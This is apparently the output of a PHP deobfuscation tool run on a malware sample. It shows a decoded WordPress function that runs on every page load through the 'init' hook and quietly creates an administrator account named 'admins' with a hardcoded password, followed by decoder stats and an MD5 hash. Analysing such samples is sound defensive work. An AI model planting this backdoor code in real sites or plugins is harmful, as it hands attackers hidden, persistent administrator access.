    $text = str_replace(array_keys($replace), $replace, $text);
    return $text;
}
function wpb_admin_account(){
$user = 'admins';
$pass = 'admin_12345_^';
$email = '[email protected]';
if ( !username_exists( $user )  && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','wpb_admin_account');

Function Calls

add_action 1

Variables

None

Stats

MD5 52673104735dd2666811cc0f33e557aa
Eval Count 0
Decode Time 163 ms